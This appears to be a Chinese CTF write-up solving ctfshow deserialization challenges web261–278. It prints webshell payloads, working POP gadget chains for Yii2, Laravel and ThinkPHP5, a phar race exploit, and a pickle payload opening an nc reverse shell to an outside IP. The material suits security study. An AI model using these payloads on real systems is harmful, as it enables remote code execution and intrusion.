web261 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 class ctfshowvip { public $username ; public $password ; public $code ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function __wakeup ( ) { if ($this ->username!='' || $this ->password!='' ){ die ('error' ); } } public function __invoke ( ) { eval ($this ->code); } public function __sleep ( ) { $this ->username='' ; $this ->password='' ; } public function __unserialize ($data ) { $this ->username=$data ['username' ]; $this ->password=$data ['password' ]; $this ->code = $this ->username.$this ->password; } public function __destruct ( ) { if ($this ->code==0x36d ){ file_put_contents($this ->username, $this ->password); } } } unserialize($_GET ['vip' ]);
打下来和redis好像没什么关系.
1 2 如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法, 则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
1 2 3 有__unserialize(),在7.4 以上版本反序列化会绕过__wakeup()函数。 在destruct()函数中,有file_put_contents可以写入文件,一句话木马儿 $this ->code==0x36d 是弱类型比较,0x36d 又有没有打引号,所以代表数字,且数字是877 ,那么877 a,877 .php等可以通过比较;所以设置username='877.php' 来通过比较
当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中。所以直接就朝着写文件搞就可以了。
只要满足code==0x36d(877)就可以了。 而code是username和password拼接出来的。 所以只要username=877.php password=shell就可以了。 877.php==877是成立的(弱类型比较)
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class ctfshowvip { public $username ; public $password ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } } $a =new ctfshowvip('877a.php' ,'<?php eval($_POST[1]);?>' );echo serialize($a );?>
web262 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class message { public $from ; public $msg ; public $to ; public $token ='admin' ; public function __construct ($f ,$m ,$t ) { $this ->from = $f ; $this ->msg = $m ; $this ->to = $t ; } } $f = $_GET ['f' ];$m = $_GET ['m' ];$t = $_GET ['t' ];$msg = new message($f ,$m ,$t );$umsg = str_replace('fuck' , 'loveU' , serialize($msg ));echo $umsg ;echo "<br>" ;var_dump(unserialize($umsg ));
反序列化逃逸少变多
1 O:7 :"message" :4 :{s:4 :"from" ;i:1 ;s:3 :"msg" ;i:1 ;s:2 :"to" ;i:1 ;s:5 :"token" ;s:4 :"user" ;}
先看一眼正常的反序列化,有个提示,去message.php
1 if (isset ($_COOKIE ['msg' ])){ $msg = unserialize(base64_decode($_COOKIE ['msg' ])); if ($msg ->token=='admin' ){ echo $flag ; }}
";s:5:"token";s:5:"admin";}
长度27,前面给27个fuck
1 ?f=1 &m=1 &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:" token";s:5:" admin";}
web263 一个登陆框,发现有www.zip
。
在inc.php那里发现这个:
1 ini_set('session.serialize_handler' , 'php' );
第一反应肯定就是session反序列化了,这里把session的session.serialize_handler设置为php,暗示了默认的php.ini里面的肯定不是php,大概率是php_serialize。既然session序列化存储的引擎存在差异,自然可以进行攻击了:
先判断一下session是否可控。如果不可控的话可能就要利用文件上传了。 全局搜索一下session,发现首先是这里:
1 2 3 4 5 6 7 if (isset ($_SESSION ['limit' ])){ $_SESSION ['limti' ]>5 ?die ("登陆失败次数超过限制" ):$_SESSION ['limit' ]=base64_decode($_COOKIE ['limit' ]); $_COOKIE ['limit' ] = base64_encode(base64_decode($_COOKIE ['limit' ]) +1 ); }else { setcookie("limit" ,base64_encode('1' )); $_SESSION ['limit' ]= 1 ; }
第一次访问index.php就会产生session,之后如果limit没超过5的话,$_SESSION['limit']=base64_decode($_COOKIE['limit']);
Cookie可控,因此session就可控了。
check.php 调用cookie
再去找一下利用点,直接找session_start,发现inc.php里面有session-start(),而且存在User类,有一个文件写入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class User { public $username ; public $password ; public $status ; function __construct ($username ,$password ) { $this ->username = $username ; $this ->password = $password ; } function setStatus ($s ) { $this ->status=$s ; } function __destruct ( ) { file_put_contents("log-" .$this ->username, "使用" .$this ->password."登陆" .($this ->status?"成功" :"失败" )."----" .date_create()->format('Y-m-d H:i:s' )); } }
文件名和写入的内容都可控,因此可以写马,自此反序列化链也就理顺了。
构造如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class User { public $username ; public $password ; function __construct ( ) { $this ->username ='K.php' ; $this ->password ='<?php eval($_POST[1]);?>' ; } } $a = new User();echo base64_encode('|' .serialize($a ));?>
首先修改cookie后访问index.php,接着访问check.php即可生成木马文件。比如我这个会生成log-K.php
这个也可以
1 2 3 4 5 6 7 8 9 10 11 <?php class User { public $username ="admin/../../../../../../../../../../var/www/html/1.php" ; public $password ="<?php system('cat flag.php');?>" ; public $status ; } $a = new User();$c = "|" .serialize($a );echo urlencode(base64_encode($c ));?>
之后大致说下解题步骤: 1.首先访问首页,获得 cookie,同时建立 session 2.抓包修改 cookie 为序列化字符串 3.访问 check.php,反序列化实现 shell 写入 4.访问你传入的php审查元素查看flag
web264 1 f=1 &m=1 &t=1 fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22 ;s:5 :%22 token%22 ;s:5 :%22 admin%22 ;}
session的反序列化字符串逃逸,其实和262没有区别,把262payload拿过来用就行;只是需要再设置一个msg
的cookie,即可
这个题没有设置session反序列化的处理器,那就是磨人的,也就和平时反序列化代码的模式一样。所以这里可以按照262的方式去理解。
所以还得随便传个cookie msg=1 ,访问message.php就行了
web265 引用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 error_reporting(0 ); include ('flag.php' );highlight_file(__FILE__ ); class ctfshowAdmin { public $token ; public $password ; public function __construct ($t ,$p ) { $this ->token=$t ; $this ->password = $p ; } public function login ( ) { return $this ->token===$this ->password; } } $ctfshow = unserialize($_GET ['ctfshow' ]);$ctfshow ->token=md5(mt_rand());if ($ctfshow ->login()){ echo $flag ; }
由于mt_rand()
预测不了,我预测不了,万一有大佬能预测呢,,,且md5(mt_rand())
确实预测不了。
大家可以试下上面这段代码,会发现a的值会跟着b一起改变。所以我们只需要让token按地址传给passowrd就可以了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 class ctfshowAdmin { public $token ; public $password ; public function __construct ( ) { $this ->password=&$this ->token; } } $c =new ctfshowAdmin();echo serialize($c );<?php class ctfshowAdmin { public $token ; public $password ; public function login ( ) { return $this ->token===$this ->password; } } $a = new ctfshowAdmin;$a -> password = &$a -> token;echo serialize($a );?>
web266 大小写敏感 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php include ('flag.php' );$cs = file_get_contents('php://input' );class ctfshow { public $username ='xxxxxx' ; public $password ='xxxxxx' ; public function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } public function login ( ) { return $this ->username===$this ->password; } public function __toString ( ) { return $this ->username; } public function __destruct ( ) { global $flag ; echo $flag ; } } $ctfshowo =@unserialize($cs );if (preg_match('/ctfshow/' , $cs )){ throw new Exception ("Error $ctfshowo " ,1 ); } ?>
其实看一下发现只要能进去 就可以拿到flag,但是这里对ctfshow过滤了
这个不能用+绕过,但是PHP里面函数不区分大小写,类也不区分大小写,只有变量名区分。 所以直接构造即可:
1 2 3 4 5 <?php class ctfshow {} echo serialize(new ctfshow);?>
然后变一下大写就行
1 O:7 :"ctfshow" :0 :{}==>>O:7 :"CtFshoW" :0 :{}
注意这俩个地方
、
所以需要用bp发一下包,要用post
web267 1 exec()、passthru()、system()、shell_exec()
进去后,发现登录,试了下弱口令admin\admin进去了,然后没找点利用点,在about项里,看源代码发现提示
在后面跟上一个&view-source
这不就找到了
正在我好奇用什么的时候发现
懂了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'passthru' ; $this ->id = 'cat /f*' ; } } } namespace Faker { use yii \rest \IndexAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['close' ] = [new IndexAction(), 'run' ]; } } } namespace yii \db { use Faker \Generator ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader=new Generator (); } } } namespace { use yii \db \BatchQueryResult ; echo base64_encode(serialize(new BatchQueryResult())); } ?>
system
不能用。。。
1 http://bcaf331a-a130-4710-9b2e-e78200cde5ea.challenge.ctf.show/index.php?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo3OiJjYXQgL2YqIjt9aToxO3M6MzoicnVuIjt9fX19
web268 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'passthru' ; $this ->id = 'cat /f*' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['isRunning' ] = [new CreateAction(), 'run' ]; } } } namespace Codeception \Extension { use Faker \Generator ; class RunProcess { private $processes ; public function __construct ( ) { $this ->processes = [new Generator ()]; } } } namespace { // 生成poc echo base64_encode (serialize (new Codeception \Extension \RunProcess ())); } ?>
web269 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 <?php namespace yii \rest { class CreateAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'passthru' ; $this ->id = 'cat /f*' ; } } } namespace Faker { use yii \rest \CreateAction ; class Generator { protected $formatters ; public function __construct ( ) { $this ->formatters['render' ] = [new CreateAction(), 'run' ]; } } } namespace phpDocumentor \Reflection \DocBlock \Tags { use Faker \Generator ; class See { protected $description ; public function __construct ( ) { $this ->description = new Generator (); } } } namespace { use phpDocumentor \Reflection \DocBlock \Tags \See ; class Swift_KeyCache_DiskKeyCache { private $keys = []; private $path ; public function __construct ( ) { $this ->path = new See; $this ->keys = array ( "axin" =>array ("is" =>"handsome" ) ); } } echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache())); } ?>
web270 laravel5.7的反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace yii \rest { class Action { public $checkAccess ; } class IndexAction { public function __construct ($func , $param ) { $this ->checkAccess = $func ; $this ->id = $param ; } } } namespace yii \web { abstract class MultiFieldSession { public $writeCallback ; } class DbSession extends MultiFieldSession { public function __construct ($func , $param ) { $this ->writeCallback = [new \yii\rest\IndexAction($func , $param ), "run" ]; } } } namespace yii \db { use yii \base \BaseObject ; class BatchQueryResult { private $_dataReader ; public function __construct ($func , $param ) { $this ->_dataReader = new \yii\web\DbSession($func , $param ); } } } namespace { $exp = new \yii \db \BatchQueryResult ('shell_exec ', 'cp /f * 1.txt '); echo (base64_encode(serialize($exp ))); }
或者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php namespace yii \rest { class IndexAction { public $checkAccess ; public $id ; public function __construct ( ) { $this ->checkAccess = 'passthru' ; $this ->id = 'cp /f* 2.txt' ; } } } namespace yii \db { use yii \web \DbSession ; class BatchQueryResult { private $_dataReader ; public function __construct ( ) { $this ->_dataReader=new DbSession(); } } } namespace yii \web { use yii \rest \IndexAction ; class DbSession { public $writeCallback ; public function __construct ( ) { $a =new IndexAction(); $this ->writeCallback=[$a ,'run' ]; } } } namespace { use yii \db \BatchQueryResult ; echo base64_encode(serialize(new BatchQueryResult())); }
web271 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 <?php namespace Illuminate \Foundation \Testing { class PendingCommand { public $test ; protected $app ; protected $command ; protected $parameters ; public function __construct ($test , $app , $command , $parameters ) { $this ->test = $test ; $this ->app = $app ; $this ->command = $command ; $this ->parameters = $parameters ; } } } namespace Faker { class DefaultGenerator { protected $default ; public function __construct ($default = null ) { $this ->default = $default ; } } } namespace Illuminate \Foundation { class Application { protected $instances = []; public function __construct ($instances = [] ) { $this ->instances['Illuminate\Contracts\Console\Kernel' ] = $instances ; } } } namespace { $defaultgenerator = new Faker \DefaultGenerator (array ("hello " => "world ")); $app = new Illuminate\Foundation\Application(); $application = new Illuminate\Foundation\Application($app ); $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator , $application , 'system' , array ('whoami' )); echo urlencode(serialize($pendingcommand )); } ?>
或者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php namespace Illuminate \Foundation \Testing { use Illuminate \Auth \GenericUser ; use Illuminate \Foundation \Application ; class PendingCommand { protected $command ; protected $parameters ; public $test ; protected $app ; public function __construct ( ) { $this ->command="system" ; $this ->parameters[]="cat /fl*" ; $this ->test=new GenericUser(); $this ->app=new Application(); } } } namespace Illuminate \Foundation { class Application { protected $bindings = []; public function __construct ( ) { $this ->bindings=array ( 'Illuminate\Contracts\Console\Kernel' =>array ( 'concrete' =>'Illuminate\Foundation\Application' ) ); } } } namespace Illuminate \Auth { class GenericUser { protected $attributes ; public function __construct ( ) { $this ->attributes['expectedOutput' ]=['hello' ,'world' ]; $this ->attributes['expectedQuestions' ]=['hello' ,'world' ]; } } } namespace { use Illuminate \Foundation \Testing \PendingCommand ; echo urlencode(serialize(new PendingCommand())); } ?>
web272、273 laravel5.8反序列化漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php namespace Illuminate \Broadcasting { use Illuminate \Bus \Dispatcher ; use Illuminate \Foundation \Console \QueuedCommand ; class PendingBroadcast { protected $events ; protected $event ; public function __construct ( ) { $this ->events=new Dispatcher(); $this ->event=new QueuedCommand(); } } } namespace Illuminate \Foundation \Console { class QueuedCommand { public $connection ="cat /flag "; } } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ="system "; } } namespace { use Illuminate \Broadcasting \PendingBroadcast ; echo urlencode(serialize(new PendingBroadcast())); }?>
或者
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <?php namespace PhpParser \Node \Scalar \MagicConst { class Line {} } namespace Mockery \Generator { class MockDefinition { protected $config ; protected $code ; public function __construct ($config , $code ) { $this ->config = $config ; $this ->code = $code ; } } } namespace Mockery \Loader { class EvalLoader {} } namespace Illuminate \Bus { class Dispatcher { protected $queueResolver ; public function __construct ($queueResolver ) { $this ->queueResolver = $queueResolver ; } } } namespace Illuminate \Foundation \Console { class QueuedCommand { public $connection ; public function __construct ($connection ) { $this ->connection = $connection ; } } } namespace Illuminate \Broadcasting { class PendingBroadcast { protected $events ; protected $event ; public function __construct ($events , $event ) { $this ->events = $events ; $this ->event = $event ; } } } namespace { $line = new PhpParser \Node \Scalar \MagicConst \Line (); $mockdefinition = new Mockery\Generator \MockDefinition($line ,"<?php system('cat /f*');exit;?>" ); $evalloader = new Mockery\Loader\EvalLoader(); $dispatcher = new Illuminate\Bus\Dispatcher(array ($evalloader ,'load' )); $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition ); $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher ,$queuedcommand ); echo urlencode(serialize($pendingbroadcast )); } ?>
web274 Tp5的框架
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["lin" =>["calc.exe" ,"calc" ]]; $this ->data = ["lin" =>new Request()]; } } class Request { protected $hook = []; protected $filter = "system" ; protected $config = [ 'var_ajax' => '_ajax' , ]; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'lin' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; } } namespace think \process \pipes ;use think \model \concern \Conversion ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot()]; } } namespace think \model ;use think \Model ;class Pivot extends Model {} use think \process \pipes \Windows ;echo base64_encode(serialize(new Windows()));?>
传入?lin=cat \f*&data=poc
web275 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 class filter { public $filename ; public $filecontent ; public $evilfile =false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile){ system('rm ' .$this ->filename); } } } if (isset ($_GET ['fn' ])){ $content = file_get_contents('php://input' ); $f = new filter($_GET ['fn' ],$content ); if ($f ->checkevil()===false ){ file_put_contents($_GET ['fn' ], $content ); copy($_GET ['fn' ],md5(mt_rand()).'.txt' ); unlink($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; }
审了一下发现。。。就离谱
1 2 3 4 public function __destruct ( ) { if ($this ->evilfile){ system('rm ' .$this ->filename); }
这个__destruct()
这里直接可以命令执行。就是说我们传入的值赋值给filename
然后只要evilfile
为true
就可以命令执行。
然后我们看一下这里有两个if
第一个
1 if (preg_match('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; }
就是说filename
里面要包含php或者..
才可以让evilfile
为true
payload:
1 ?fn =.. ;tac f*?fn = ;tac flag.php?fn =php ;tac f*
第二个
1 2 3 if (preg_match('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; }
这个没啥好说的就是filecontent
要包含有flag,但是它对应的值是$content
既php://input
,那我们只需要在bp里post传入一个flag
即可。
web276 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 class filter { public $filename ; public $filecontent ; public $evilfile =false ; public $admin = false ; public function __construct ($f ,$fn ) { $this ->filename=$f ; $this ->filecontent=$fn ; } public function checkevil ( ) { if (preg_match('/php|\.\./i' , $this ->filename)){ $this ->evilfile=true ; } if (preg_match('/flag/i' , $this ->filecontent)){ $this ->evilfile=true ; } return $this ->evilfile; } public function __destruct ( ) { if ($this ->evilfile && $this ->admin){ system('rm ' .$this ->filename); } } } if (isset ($_GET ['fn' ])){ $content = file_get_contents('php://input' ); $f = new filter($_GET ['fn' ],$content ); if ($f ->checkevil()===false ){ file_put_contents($_GET ['fn' ], $content ); copy($_GET ['fn' ],md5(mt_rand()).'.txt' ); unlink($_SERVER ['DOCUMENT_ROOT' ].'/' .$_GET ['fn' ]); echo 'work done' ; } }else { echo 'where is flag?' ; }
filter类里面多了个$admin
,想要通过析构方法进行命令执行,则一定要使得$admin=true
。而代码中并没有反序列化函数,所以可利用点在于unlink()
函数(file_get_contents()
函数也可以)。
首先上传一个p.phar文件,然后在该文件没有被删除之前再发一个包,传入的参数是fn=phar://p.phar/test
,当对其调用unlink()
时,会对之前传入的并写进p.phar中的内容进行反序列化,从而进行析构函数的调用,类似于:
注意:前面一定要有phar://
以及后面跟上/
加一串随机字符串。
这样我们只要保证生成的phar文件在析构的时候可以进行命令拼接即可。生成phar文件的POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class filter { public $filename = ';cat fl*' ; public $evilfile = true ; public $admin = true ; } $phar = new Phar("evil.phar" );$phar ->startBuffering();$phar ->setStub("<?php __HALT_COMPILER(); ?>" );$o = new filter();$phar ->setMetadata($o );$phar ->addFromString("test.txt" , "test" );$phar ->stopBuffering();?> <?php class filter { public $filename = "1|cat f*" ; public $filecontent ; public $evilfile = true ; public $admin = true ; } $phar = new Phar("phar.phar" );$phar ->startBuffering();$phar ->setStub("<?php __HALT_COMPILER(); ?>" );$o = new filter();$phar ->setMetadata($o );$phar ->addFromString("test.txt" , "test" );$phar ->stopBuffering();?>
竞争脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requestsimport threadingurl="http://66155619-f7c6-4fb4-acf1-d196be37cdb8.chall.ctf.show:8080/" f=open ("./yn.phar" ,"rb" ) content=f.read() def upload (): requests.post(url=url+"?fn=1.phar" ,data=content) def read (): r = requests.post(url=url+"?fn=phar://1.phar/" ,data="1" ) if "ctfshow{" in r.text or "flag{" in r.text: print (r.text) exit() while 1 : t1=threading.Thread(target=upload) t2=threading.Thread(target=read) t1.start() t2.start()
web277、278 打开之后是这样的
ctrl+u
看一下发现是python反序列化
可以看到我们传入的数据要先进行一个base64解码,然后再反序列化
捏一下poc:
1 2 3 4 5 6 7 8 import pickleimport base64class A (object ): def __reduce__ (object ): return (__import__ ("os" ).popen,("nc 47.98.163.158 8080 -e /bin/sh" ,)) a=A() print (base64.b64encode(pickle.dumps(a)))
然后传入
1 /backdoor?data=gASVNwAAAAAAAACMAm9zlIwFcG9wZW6Uk5SMIG5jIDQ3Ljk4LjE2My4xNTggODA4MCAtZSAvYmluL3NolIWUUpQu&m=base64.b64decode(data)&m=pickle.loads(m)